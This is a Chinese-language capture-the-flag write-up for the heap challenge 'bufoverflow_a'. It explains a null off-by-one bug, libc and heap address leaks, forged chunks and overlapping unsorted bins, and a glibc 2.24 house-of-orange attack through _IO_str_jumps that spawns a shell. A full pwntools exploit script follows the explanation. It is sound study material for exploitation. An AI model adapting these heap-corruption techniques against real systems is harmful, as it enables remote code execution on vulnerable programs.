bufoverflow_a
首先,我们检查一下程序的保护机制
然后,我们用IDA分析一下,是一个经典的增删改查的程序,然后我们看到创建堆时,前两个堆是用malloc创建,后面的堆用calloc创建,这意味着,如果要泄露libc地址,只能靠前两个堆,后面的堆从bin里取出后会清空里面的信息。
Fill功能存在一个null off by one漏洞
我们每次只能对最后创建的那个堆进行读写操作
并且delete以后,指针将清空,就无法进行读写操作,除非重新创建一个堆。
首先是泄露libc地址,这个很容易,创建一个unsorted bin范围的堆,然后后面再创建一个堆用来隔离,释放后再申请回来显示,即可泄露。
- #0
- create(0x80)
- #1
- create(0x80)
- delete(0)
- delete(1)
- #0申请回来,此时保留了libc指针
- create(0x80)
- show()
接下来,我们要泄露堆地址,我们创建large bin范围的堆释放后申请一个比它还大的堆,使得它被放入large bin,从而堆上保留了堆指针,再申请回来。但是堆地址保存在fd_nextsize处,位于chunk_addr + 0x10处,我们如果直接显示,只能显示出fd的内容,因为后面有’\x00’结束了。并且,我们也不能利用fill来填充到fd_nextsize处,因为用fill,内容的最后会添加一个’\x00’
这样,我们仍然不能显示出fd_nextsize的内容。
- #1
- create(0x400) #large bin范围的堆释放后会有堆地址
- create(0x80) #2
- #将1放入unsorted bin
- delete(1)
- #触发整理unsorted bin,将1放入large bin,从而1里堆有指针
- create(0x500) #1
- delete(1)
目前,堆的布局是这样的
堆编号 | 大小 | 状态 |
0 | 0x90 | used |
1 | 0x410 | free |
2 | 0x90 | used |
Top chunk |
|
|
在chunk1的数据域+0x10处,有堆指针。我们可以先释放chunk2,使得chunk1和2合并到top chunk,这样,堆布局变成了这样,但是里面的信息仍然没有清空。
堆编号 | 大小 | 状态 |
0 | 0x90 | used |
Top chunk |
|
|
然后,我们继续释放chunk0,此时堆布局就只剩下一个TOP chunk
堆编号 | 大小 | 状态 |
Top chunk |
|
|
接下来,我们申请一个0xA0大小的堆(数据域大小0x90)。因为bin里面没有合适的chunk,就从TOP chunk里划分,堆布局变成这样
堆编号 | 大小 | 状态 |
0 | 0xA0 | used |
Top chunk |
|
|
然后,我们继续申请一个堆,大小任意,比如0x90
此时堆布局变成这样
堆编号 | 大小 | 状态 |
0 | 0xA0 | used |
1 | 0x90 | used |
Top chunk |
|
|
由于chunk0大小为0xA0,比原先大了0x10,那么chunk1就会向后偏移0x10,也就是原来chunk1的fd_nextsize位置是现在chunk1的fd位置,这样,我们显示,就能泄露出堆地址了。
- #释放堆2,由于堆2下面是top块,堆2上面的堆1也是free状态,那么就和全部合并到top块里,但里面的指针信息仍然有保留。
- delete(2)
- #此时,堆0下面的堆1是top块,释放0后,堆0也合并到了top块里。
- delete(0)
- #所有bin都合并了,只剩下一个top块
- #错位0x10,使得接下来1的fd位置正好有堆指针
- create(0x90) #0
- create(0x80) #1
- show()
- sh.recv(1)
- heap_base = u64(sh.recvuntil('\n',drop = True).ljust(8,'\x00')) - 0xB0
- print 'heap_base=',hex(heap_base)
- #============================================
- delete(0)
- delete(1)
我们泄露完信息后,又重新把0和1给释放了,使得他们重新合并到top chunk里。因为我们不需要再用它们了。并且由于只有前两个堆使用malloc分配,后面的用calloc分配,为了后续利用,我们要腾出位置。
接下来,我们就要伪造堆了。我们最终的目的是要构造出这样的堆布局
Unsorted bin1
|
这样,我们就能从unsorted bin1里申请合适的堆,控制unsorted bin2,从而利用house of orange来getshell。
那么,我们就先来伪造chunk
- #0
- create(0x208)
- fake_chunk = 'a'*0x20
- fake_chunk += p64(0) + p64(0x1E1)
- #让fd=bk=p绕过检查
- fake_chunk += p64(heap_base + 0x50)*2
- fake_chunk = fake_chunk.ljust(0x200,'a')
- fake_chunk += p64(0x1E0)
- fill(fake_chunk)
- #1
- create(0x80)
- #2注意,2必须为0xF0,这样实际为0x100,off by null one后大小仍为0x100,与top chunk相邻,才能合并到top chunk
- #因此不能在2末尾伪造fake_chunk
- create(0xF0)
- fill('b'*0xF0)
- delete(1)
- #1
- create(0x88)
- fill('b'*0x80 + p64(0x270))
- #合并
- delete(2)
需要注意的是,以前,为了绕过glibc中的检查
- if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
- malloc_printerr ("corrupted double-linked list");
我们这样操作的
- p->fd = &p-3*4
- p->bk = &p-2*4
但是,现在我们没有办法满足这个条件,我们直接这样
- p->fd = p
- p->bk = p
还有就是,我们的chunk2,包括头结构的总大小为0x100,不能再多也不能再少。
因为null off by one,可以将下一个chunk的size低一字节覆盖为0,因此,size必须大于1字节。但是如果size大于0x100,这意味着,覆盖以后,这个chunk变小了,我们还需在这个chunk的末尾伪造一个填充chunk。这样会使得待会利用时,由于有填充chunk把它与top chunk隔离,使得它不与top chunk合并。而我们的目的是要把fake_chunk合并到top chunk里,这样我们就能构造出包含的unsorted bin。
经过这样的操作,我们的堆布局变成这样
堆编号 | 大小 | 状态 | |
0 |
| 0x210 | used |
Top chunk | |||
1 | 0x90 | used | |
2 | 0x100 | free |
着色区域全都在top chunk里面,现在,我们就可以来构造两个包含的unsorted bin。
我们先来构造0和1构成的unsorted bin,为了能够顺利delete掉0和1,我们需要复原1和2的头结构相关信息。
- ####注意
- create(0x290) #2
- #重新复原1、2堆的头信息
- fill('a'*0x1D0 + p64(0) + p64(0x91) + 'a'*0x80 + p64(0) + p64(0x101) + '\n')
- #为了delete后我们的内容不被清空或填充,
- #我们需要把chunk1也给剔除,这样我们后面申请的时候,才不会被mallocopt设置free后的填充物
- #注意顺序!!!
- delete(1)
- delete(0)
由于top chunk在fake_chunk处,因此,我们申请时,从top chunk里切割就是从fake_chunk处开始切割。这样,我们就得到了最外层的unsorted bin。
然后,我们要开始构造内层的unsorted bin,那么我们需要释放fake_chunk。而fake_chunk此时位于index 2。接下来,我们申请堆,肯定会从我们辛苦得到的外层unsorted bin里切割,没关系,待会用完重新释放回去。在程序中的堆指针数组中下标2的地方保存着fake_chunk的地址,我们现在的目的是要成功释放fake_chunk2。但是,fake_chunk前后的chunk头信息已经被打乱,我们不能直接释放。
我们可以从外层unsorted bin里申请一个大点的堆,然后,我们要在这个堆里重新伪造fake_chunk,已经一个填充chunk,由于绕过检查。也就是说,我们要在原来的fake_chunk里面末尾腾出一点位置,制造一个填充chunk,就可以绕过检查了。
- #重新从外层的unsorted bin切割一块空间
- create(0x290) #0
- #在fake_chunk里腾出位置伪造填充块,而这个chunk0末尾也要放一个填充块绕过检查
- #也就是总共要伪造三个chunk,总大小要等于这个chunk0的大小,即0x290
- fill('a'*0x20 + p64(0) + p64(0x91) + 'a'*0x80 + p64(0) + p64(0x151) + '\n')
- delete(0) #得到外层unsorted bin
- delete(2) #得到内层unsorted bin
- create(0x290)
- #现在,我们已经可以控制unsorted bin了
这样,我们就控制了内层的unsorted bin。那么我们就可以利用house of orange了。
本题,提供的libc版本是2.24,因此增加了对vtable的检查。
- IO_validate_vtable (const struct _IO_jump_t *vtable)
- {
- /* Fast path: The vtable pointer is within the __libc_IO_vtables
- section. */
- uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;
- const char *ptr = (const char *) vtable;
- uintptr_t offset = ptr - __start___libc_IO_vtables;
- if (__glibc_unlikely (offset >= section_length))
- /* The vtable pointer is not in the expected section. Use the
- slow path, which will terminate the process if necessary. */
- _IO_vtable_check ();
- return vtable;
- }
也就是vtable指针必须在__stop___IO_vtables 和 __start___libc_IO_vtables范围之内。因此,我们可以利用__IO_str_jumps来绕过
- {
- JUMP_INIT_DUMMY,
- JUMP_INIT(finish, _IO_str_finish),
- JUMP_INIT(overflow, _IO_str_overflow),
- JUMP_INIT(underflow, _IO_str_underflow),
- JUMP_INIT(uflow, _IO_default_uflow),
- JUMP_INIT(pbackfail, _IO_str_pbackfail),
- JUMP_INIT(xsputn, _IO_default_xsputn),
- JUMP_INIT(xsgetn, _IO_default_xsgetn),
- JUMP_INIT(seekoff, _IO_str_seekoff),
- JUMP_INIT(seekpos, _IO_default_seekpos),
- JUMP_INIT(setbuf, _IO_default_setbuf),
- JUMP_INIT(sync, _IO_default_sync),
- JUMP_INIT(doallocate, _IO_default_doallocate),
- JUMP_INIT(read, _IO_default_read),
- JUMP_INIT(write, _IO_default_write),
- JUMP_INIT(seek, _IO_default_seek),
- JUMP_INIT(close, _IO_default_close),
- JUMP_INIT(stat, _IO_default_stat),
- JUMP_INIT(showmanyc, _IO_default_showmanyc),
- JUMP_INIT(imbue, _IO_default_imbue)
- };
我们可以利用_IO_str_finish函数里的这个
- _IO_str_finish (FILE *fp, int dummy)
- {
- if (fp->_IO_buf_base && !(fp->_flags & _IO_USER_BUF))
- (((_IO_strfile *) fp)->_s._free_buffer) (fp->_IO_buf_base);
- fp->_IO_buf_base = NULL;
- _IO_default_finish (fp, 0);
- }
我们把vtable指向__IO_str_jumps,把fp->_free_buffer指向system函数,把fp->_IO_buf_base指向/bin/sh字符串,再伪造其他字段,绕过检查,这样就能触发调用system(“/bin/sh”)了。同理_IO_str_overflow类似。
- #house of orange in 2.24
- fake_file = p64(0) + p64(0x60)
- #unsorted bin attack,修改_IO_list_all为main_arena+88
- fake_file += p64(0) + p64(_IO_list_all_addr-0x10)
- #_IO_write_base < _IO_write_ptr
- fake_file += p64(0) + p64(1)
- #_IO_write_end 、IO_buf_base
- fake_file += p64(0) + p64(binsh_addr)
- fake_file = fake_file.ljust(0xD8,'\x00')
- #vtable指针,同时,也作为fake_vtable的__dummy
- fake_file += p64(_IO_str_jumps_addr - 8)
- #__dummy2、__finish
- fake_file += p64(0) + p64(system_addr)
如果没有getshell,是由于栈环境问题,多试几次就行了。
综上,我们的exp脚本
#coding:utf8
from pwn import *
sh = process('./bufoverflow_a')
#sh = remote('111.198.29.45',34863)
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
#libc = ELF('./libc.so.6')
_IO_list_all_s = libc.symbols['_IO_list_all']
malloc_hook_s = libc.symbols['__malloc_hook']
system_s = libc.sym['system']
binsh_s = libc.search('/bin/sh').next()
def create(size):
sh.sendlineafter('>>','1')
sh.sendlineafter('Size:',str(size))
def delete(index):
sh.sendlineafter('>>','2')
sh.sendlineafter('Index:',str(index))
def fill(content):
sh.sendlineafter('>>','3')
sh.sendafter('Content:',content)
def show():
sh.sendlineafter('>>','4')
def get_IO_str_jumps():
IO_file_jumps_offset = libc.sym['_IO_file_jumps']
IO_str_underflow_offset = libc.sym['_IO_str_underflow']
for ref_offset in libc.search(p64(IO_str_underflow_offset)):
possible_IO_str_jumps_offset = ref_offset - 0x20
if possible_IO_str_jumps_offset > IO_file_jumps_offset:
print possible_IO_str_jumps_offset
return possible_IO_str_jumps_offset
#==============泄露libc相关地址============
#0
create(0x80)
#1
create(0x80)
delete(0)
delete(1)
#0申请回来,此时保留了libc指针
create(0x80)
show()
sh.recv(1)
#泄露信息
main_arena_xx = u64(sh.recvuntil('\n',drop = True).ljust(8,'\x00'))
malloc_hook_addr = (main_arena_xx & 0xFFFFFFFFFFFFF000) + (malloc_hook_s & 0XFFF)
libc_base = malloc_hook_addr - malloc_hook_s
_IO_list_all_addr = libc_base + _IO_list_all_s
_IO_str_jumps_addr = libc_base + get_IO_str_jumps()
system_addr = libc_base + system_s
binsh_addr = libc_base + binsh_s
print 'libc_base=',hex(libc_base)
print '_IO_list_all_addr=',hex(_IO_list_all_addr)
print 'system_addr=',hex(system_addr)
#===========泄露堆地址====================
#1
create(0x400) #large bin范围的堆释放后会有堆地址
create(0x80) #2
#将1放入unsorted bin
delete(1)
#触发整理unsorted bin,将1放入large bin,从而1里堆有指针
create(0x500) #1
delete(1)
#释放堆2,由于堆2下面是top块,堆2上面的堆1也是free状态,那么就和全部合并到top块里,但里面的指针信息仍然有保留。
delete(2)
#此时,堆0下面的堆1是top块,释放0后,堆0也合并到了top块里。
delete(0)
#所有bin都合并了,只剩下一个top块
#错位0x10,使得接下来1的fd位置正好有堆指针
create(0x90) #0
create(0x80) #1
show()
sh.recv(1)
heap_base = u64(sh.recvuntil('\n',drop = True).ljust(8,'\x00')) - 0xB0
print 'heap_base=',hex(heap_base)
#============================================
delete(0)
delete(1)
#0
create(0x208)
fake_chunk = 'a'*0x20
fake_chunk += p64(0) + p64(0x1E1)
#让fd=bk=p绕过检查
fake_chunk += p64(heap_base + 0x50)*2
fake_chunk = fake_chunk.ljust(0x200,'a')
fake_chunk += p64(0x1E0)
fill(fake_chunk)
#1
create(0x80)
#2注意,2必须为0xF0,这样实际为0x100,off by null one后大小仍为0x100,与top chunk相邻,才能合并到top chunk
#因此不能在2末尾伪造fake_chunk
create(0xF0)
fill('b'*0xF0)
delete(1)
#1
create(0x88)
fill('b'*0x80 + p64(0x270))
#合并
delete(2)
####注意
create(0x290) #2
#重新复原1、2堆的头信息
fill('a'*0x1D0 + p64(0) + p64(0x91) + 'a'*0x80 + p64(0) + p64(0x101) + '\n')
#为了delete后我们的内容不被清空或填充,
#我们需要把chunk1也给剔除,这样我们后面申请的时候,才不会被mallocopt设置free后的填充物
#注意顺序!!!
delete(1)
delete(0)
#重新从外层的unsorted bin切割一块空间
create(0x290) #0
#在fake_chunk里腾出位置伪造填充块,而这个chunk0末尾也要放一个填充块绕过检查
#也就是总共要伪造三个chunk,总大小要等于这个chunk0的大小,即0x290
fill('a'*0x20 + p64(0) + p64(0x91) + 'a'*0x80 + p64(0) + p64(0x151) + '\n')
delete(0) #得到外层unsorted bin
delete(2) #得到内层unsorted bin
create(0x290)
#现在,我们已经可以控制unsorted bin了
payload = 'a'*0x20
#house of orange in 2.24
fake_file = p64(0) + p64(0x60)
#unsorted bin attack,修改_IO_list_all为main_arena+88
fake_file += p64(0) + p64(_IO_list_all_addr-0x10)
#_IO_write_base < _IO_write_ptr
fake_file += p64(0) + p64(1)
#_IO_write_end 、IO_buf_base
fake_file += p64(0) + p64(binsh_addr)
fake_file = fake_file.ljust(0xD8,'\x00')
#vtable指针,同时,也作为fake_vtable的__dummy
fake_file += p64(_IO_str_jumps_addr - 8)
#__dummy2、__finish
fake_file += p64(0) + p64(system_addr)
payload += fake_file
payload += '\n'
fill(payload)
#getshell
create(0x80)
sh.interactive()